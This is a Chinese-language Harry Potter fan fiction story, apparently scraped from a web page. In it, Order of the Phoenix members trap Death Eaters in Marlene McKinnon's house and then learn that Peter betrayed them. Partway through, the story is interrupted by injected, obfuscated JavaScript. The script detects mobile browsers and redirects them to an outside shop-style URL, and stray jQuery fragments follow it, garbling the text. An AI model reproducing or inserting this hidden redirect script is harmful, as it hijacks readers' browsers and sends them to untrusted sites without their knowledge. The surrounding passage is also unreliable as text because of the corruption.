马琳听到楼下似乎有些奇怪的动静。她攥着魔杖慢慢地下楼，注意没让自己发出任何脚步声。


    她向穆迪请了一个周末的假期，本意是想陪伴父母度过一段亲子时光——她的几个弟弟妹妹还在霍格沃茨上学，只有最大的弟弟业已毕业。而她忙于傲罗工作，一直没有多少时间留在家里，甚至没再一起过过圣诞节。因此，这个周末，只有她和父母依然住在这栋老房子里。路过厨房的时候，她顺手抄起一把铁锅。


    背靠着门后的死角，马琳屏息凝神，等待站在门外的人破门而入——她听到了他们低声交谈的声音。


    “这是她的房子？”她听到一个粗犷的男声说，“你确定这是马琳·麦金农的房子？”


    “我确定！我确定！”一个她很熟悉的声音不安地说。马琳短暂地闭了闭眼，把手里的锅和魔杖攥得更紧。


    “用不着你了，小老鼠！”粗犷的声音说。


    好像什么人被扔进他们家门口的灌木，紧接着是几个人低低的笑声。


    马琳认出麦克尼尔、特拉弗斯和穆尔塞伯的声音。还有其他人的声音，但这对马琳来讲无关紧要。她死死地咬着牙关，等着给开门进来的人迎头痛击。


    “动手。”似乎是麦克尼尔在吩咐谁，“笨手笨脚的，但总能开个锁……”


    “是的，”低沉的声音含糊不清地说，“是的，先生……”


    马琳在自己家房门上施了不少咒语。门外的人废了好大的力气，但也没能解开。


    “他上学的时候就不太聪明，”穆尔塞伯说，“马尔福都被他送进过医务室。”


    “马尔福？”麦克尼尔的语调听起来相当愉快，“卢修斯·马尔福？那真是大快人心。好了，让开，克拉布……”


    他们似乎施了一个隔音的咒语。因为她们家的房门迅速炸开，但没有发出任何声音。


    几乎是一瞬间，马琳敲昏第一个进来的克拉布，烈火咒和爆炸咒搭配着向门外的人劈头盖脸飞去。


    “该死！”她听到特拉弗斯说，“她醒着！”


    “这不重要！”麦克尼尔喊道，“她只有一个人——甚至没喊醒她亲爱的爸爸妈妈！”


    马琳一言不发，没扎紧的金色头发因为快速的移动飘扬起来。


    各种颜色的恶咒在房子里飞来飞去，打碎他们精心添置的家具和摆件。马琳一矮身，敏捷地躲过一发索命咒。


    “没想到吧，小妞！”麦克尼尔露出一口黄牙，“抓住多洛霍夫的时候笑得多开心哪！”


    马琳没有恋战，那口铁锅精准地命中麦克尼尔的脑袋——趁着他大脑嗡嗡作响的时刻，马琳转身向楼上跑去。


    “现在想起要逃？”麦克尼尔头上开始不住流血，但这反而激发了他的凶性，“去叫爸爸妈妈吧，小女孩儿！”


    食死徒们狂笑着闯进她们家的房子，大肆破坏。


    马琳顾不上心疼，一路往房顶上窜去。


    “他们都进来了！”她对别在自己领口的单向片喊道，“所有人都在！”


    “收到。”穆迪的声音回答道。


    马琳拔腿狂奔——她在房顶上放了一根飞天扫帚——特拉弗斯在她身后紧追不舍。红光和绿光交替着往她的方向飞来，马琳时不时瞄准了朝他们的脑袋扔去昏迷咒、石化咒和任何她能想起的咒语。在最后一个楼梯口，马琳抄起手边的花瓶狠狠砸在特拉弗斯的脸上。特拉弗斯登时滚了下去，砸在跟在他身后的其他人身上。


    “她只有一个人！”麦克尼尔气急败坏地喊道，“你们这帮轻敌的败类！”


    “你喊得倒是好听！”穆尔塞伯对着他吼回去，“把特拉弗斯搬开——他重得像铅球！”


    趁此机会，马琳抄起扫帚从头顶上的天窗翻了出去。


    她像一根标枪一样冲着旁边那幢房子俯冲而去——她曾是最好的魁地奇队长——狂风把糊在她脸上的发丝往外卷去。


    “就现在！”她吼道，“就现在！”


    多卡斯和本吉像鬼魂一样从旁边的花园里窜出来，艾丽斯和弗兰克在花园的另一头。穆迪施反幻影异形咒的声音隔着几百里都能听清，与此同时，马琳能看到他狂打手势，像是在驱赶谁去规定的位置上待着。


    “速速禁锢！”


    她落在指定的地点，立即配合其他人施咒的声音将魔杖举向天空。


    “这就行了？”她听到多卡斯在旁边喊道，“喂！这到底行不行啊？”


    “你们邓布利多教授改良的咒语。”穆迪不满地从花园后头绕到前面，“我猜没什么问题……我们马上就知道行不行。”


    马琳惊讶地看见特拉弗斯顶着满脸血流不止的伤口朝窗外张望着。他好像在喊着什么，但从外面什么都听不见。随即，他们看见克拉布沙包大的拳头砸在她们家一楼的窗户上——但窗户毫发无伤。穆尔塞伯气急败坏的脸在窗口一闪而过，但他们突破这座房子的尝试都失败了。


    “我就说她的力气大得要命！”西里斯从对面的角落爬出来，身上落满树叶，“你看特拉弗斯的脸——梅林，他脸上还扎着些碎片——”


    “别说了，大脚板。”詹姆跟着从那个角落里爬出来，“你说得我脸痛。”


    “如果你们愿意的话，”马琳凉凉地说，“我会让你们尝尝——”


    “不，不，不，”詹姆迅速退开，“我曾经被你的鬼飞球砸过脑袋——记忆犹新——哦，本吉你也在！”


    本吉同样凉凉地看了詹姆一眼，开始检查马琳有没有受伤。


    “我没事，”马琳对他说，“几分钟内就结束了，他们完全没有意识到这是一个陷阱——”


    “你的手在流血！”多卡斯往这边跑过来，“你在说什么鬼话？”


    “喔，”马琳看了一眼自己的手臂——从小臂到大臂划拉开一个很长的口子，但在夜色中并不明显——她后知后觉地感到疼痛，“我没注意到，可能是被花瓶割伤了。”


    本吉叹了一口气，给她施了些应急咒语。


    “结束之后我们去找治疗师。”本吉说，“仔细检查一下——那可是一帮食死徒。”


    “是的，为了放倒我和爸爸妈妈。”马琳看着食死徒的脑袋们凑在一起，似乎是在合计怎么逃出去，“真是看得起我们。”


    “他们出不去。”穆迪在房子周边敲敲打打，确认道，“阿不思确认这种施放方式能让整座房子变成一个坚固的牢笼。”


    马琳有些伤感地看着这座充满回忆的房子。


    “几乎是一片废墟。”马琳说，“我该怎么和妈妈说呢？”


    “她知道今晚的行动。”多卡斯宽慰道，“只能说十分倒霉，他们选择你们家作为突破口——我还以为他们会挑埃德加。”


    “好了，”穆迪示意他们往他身边聚拢，“瞄准他们的脑袋——我希望你们的昏迷咒足够准确。”


    “放心吧，”詹姆在穆迪身后说，“我们的准头都是一等一的。”


    “我们可是一等一的追球手。”西里斯已经把魔杖抬起来了，脸上带着淘气的笑容。


    “不要打打闹闹！”穆迪骂道，“听我的指挥！”


    “是的，先生！”詹姆正色道。


    “三——二——一！”穆迪率先冲进房子，“不要放下戒心！注意警惕！”


    克拉布像头巨怪一样冲了上来。马琳顺手抄起掉在门口的铁锅，给他的脑袋又来了一下。


    这下他晕乎乎地倒了下去。看准位置，马琳又补了几下。


    天快亮的时候，他们抬着几个昏迷的食死徒从马琳的房子里出来。


    “负隅顽抗。”穆迪不屑地说，“可不是你们嗖地一下就能从犯罪现场逃掉的时候了。”


    “而且我们人多！”多卡斯兴高采烈地把穆尔塞伯像口袋一样塞进‘囚车’，“闯进马琳家的时候我反而感觉我们更像是食死徒……”


    穆迪往多卡斯的脑袋上敲了一下，发出清脆的响声。


    艾丽斯把特拉弗斯的脑袋推进车里，见状露出一个大大的笑脸——她圆圆的脸蛋显得更生动了。


    “那个魔头会气得七窍生烟。”西里斯说，“他们折进去不少人手，是不是？”


    “他恐怕会进行更猛烈的报复。”马琳用一只手叉着腰，“黑魔头一向小心眼，我们都知道。”


    詹姆在帮本吉往他的后腰上绑纱布——麦克尼尔冲他投掷了一把飞刀。


    “可能是从马琳那里得到的主意。”本吉撇牙咧嘴地说，“还好他准头很烂。”


    “是吗？”弗兰克抬着克拉布走过，“我记得麦克尼尔好像在做刽子手工作。”


    “那看来他是一个不合格的刽子手。”詹姆直起腰，“他到底是怎么找到工作的？”


    “话说回来，”多卡斯给了自己的小腿一个紧急愈合咒语，“这个埋伏的主意是谁提出来的？太天才了！”


    “当然是我们永不出错的穆迪先生。”马琳回答道，“我们事先就收到了袭击的消息。”


    “真的吗？”多卡斯震惊地说，“你们怎么知道的？”


    “据说是一个消息灵通的内部人士告诉我们的。”马琳拿出自己的如尼板，对穆迪昨晚发给她的消息读到，“他们选择了你的房子，做好准备。”


    “但话又说回来，”多卡斯疑惑地说，“食死徒怎么知道你今晚在家？而且你的住址是保密的——除了我们熟悉的朋友，没有人知道你家在这里。除非……”


    多卡斯不讲话了。


    穆迪检查了所有昏迷的食死徒，满意地关上车门。


    “我想我们可以确认他的身份，”穆迪问马琳，“他本人昨天有来吗？”


    “我听到了他的声音。”马琳肯定道，“但他在食死徒闯进我们家的时候幻影移形走了……估计是不想被其他人发现。”


    “谁？”詹姆一头雾水地说，“你们在说谁？”


    “彼得。”马琳迟疑片刻，说道，“是彼得，我昨晚听到他的声音在门外。”


    “怎么可能？”詹姆咧开嘴，“彼得昨天晚上在家——他告诉我们他妈妈病了。”


    “那么他有一刻钟不在家里。”马琳耸耸肩，“我不可能听错他的声音。”


    詹姆和西里斯脸上的笑容消失了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800067|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    马琳自己心里也不敢置信，这对詹姆和西里斯他们会是更加沉重的打击。


    “也许你们该回去告诉莱姆斯。”马琳对他们说，和本吉钻进囚车后面，“我们要把这批家伙先送进阿兹卡班。”


    多卡斯和他们挥别，也窜进车里。


    穆迪是最后一个上车的。他沉重地拍了拍他们俩的肩，没有多说什么。


    “你们是不是很早就知道有叛徒？”西里斯敏锐地问，“但不知道是彼得？”


    穆迪没有回答。


    他们都明白，没有回答就是默认。


    ————


    “我不明白！”莱姆斯说，脸色苍白，“我不明白。为什么？为什么！”


    “你问我，我又去问谁？”詹姆嘟哝着说，轻轻摇晃着摇篮，“我完全被吓到了。”


    “有没有可能是搞错了？”莱姆斯问，“这不可能！”


    “马琳愿意用头担保彼得和食死徒一起出现了。”西里斯头痛地说，“食死徒还向彼得确认了这是她的房子——她的原话。”


    “彼得可能被施了夺魂咒！”莱姆斯辩解道，“我们都知道他不敢做这些！”


    房子里一片沉默。


    “我不知道。”西里斯把一只飞镖投向墙上挂着的靶子，“我现在不敢说自己真的了解他。”


    莱姆斯捂住了自己的脸。


    哈利在摇篮里恬静地睡着——詹姆给他的摇篮施加了一个隔音咒。


    “穆迪要让我们装作‘什么事都没有发生’的样子，和彼得正常相处。”詹姆榛子色的眼睛里掠过阴霾，“他也建议我们不要和你说这件事——有助于你和他‘正常相处’。但我和西里斯都同意，你应该知道这件事。”


    “和他正常相处？”莱姆斯像是暂时感觉不到心里的钝痛，脑子飞速运转起来，“什么意思？他们想要做什么？”


    “利用彼得。”西里斯的第二支飞镖正中圆心，“非常明显——他们要让彼得把情报转告给那个魔头——然后，就像在马琳家的那个晚上，嘭！”


    他随手扔出第三只飞镖。


    “一网打尽。”西里斯阴郁地说。


    “非常有效的策略。”莱姆斯思考片刻，“考虑到食死徒的数量和我们的数量，只能将他们分而化之，逐个击破。”


    “不知道能用多久。”西里斯的脚自然而然地搁在茶几上，“食死徒不久就会发现其中的问题——穆迪肯定会把这件事伪装得像是那么回事——但他们还是会警觉起来。到那个时候……”


    “他们就会明白彼得有问题。”詹姆摇晃摇篮的手停下了。


    “他们会对彼得做什么呢？”莱姆斯轻轻地问。


    “黑魔头惯常会做的事。”西里斯哼了一声，“开膛破肚、钻心剜骨……当然，最后……”


    他用力把又一个飞镖投掷出去，那个挂在墙上的靶子左右晃了晃，然后很响地掉在地上。


    “我真是搞不懂我们在这里干什么！坐在这里，为那个叛徒还没来的结局哀悼！”这个声响像是引信，西里斯登时爆炸了——他的怒火向四周辐射而去，手里的飞镖被他扔在地上。


    詹姆和莱姆斯看着他情绪激动地在房间里走来走去，最后泄气地把自己扔回沙发上。


    他们仨垂头丧气地坐着，像是被晾干的几条咸鱼。


    不知道过了多久，他们听见莉莉和别人交谈的声音。


    “莉莉回家了！”詹姆像是被突然惊醒，去厨房端做好的饭菜。


    “我听说了这件事。”西里斯听到卡莉娜的声音很镇静地说，“一开始真是难以置信，但后来……”


    “就接受了。”莉莉接口说。


    “好像也没有什么别的解决办法。”卡莉娜说，“把他抓起来，关进阿兹卡班似乎是他的归宿。”


    “但奇怪的是，总是会想起和他一起度过的快乐时光。”莉莉的口吻中带着迷惘，“难道那些快乐的时光都是假的吗？对于他来说就不重要吗？”


    “我不知道。”卡莉娜这样回答道，“但我之前和卡拉多克讨论过关于信任的话题。”


    “破裂的信任。”莉莉了然地说，“再也无法挽回了，不是吗？不管怎么弥补，都已经留下了可怕的伤痕——我不敢仔细想这件事——马琳可能失去生命，还有无辜的麦金农夫妇……”


    她们俩推开门，詹姆正好把一锅炖菜从厨房里端出来。


    “我闻到了热乎乎炖菜的味道！”莉莉脸上带着刚刚放上去的笑容，“而且还有我喜欢的水果糖浆馅饼！”


    这句话像一个魔咒，莱姆斯和西里斯登时动了起来——摆脱雕塑的状态——抢夺盘子里的糖浆馅饼。


    卡莉娜把盘子直接举了起来。


    “先洗手。”她说，“西里斯，我告诉过你什么？”


    西里斯去洗手，莱姆斯乖乖地跟在他身后。


    卡莉娜叹了口气。


    “他们会没事的。”莉莉轻轻对她说，“总有一天，伤口会愈合。最重要的是，没有人因此而失去生命。”


    卡莉娜明白她的意思：时间是最佳良药。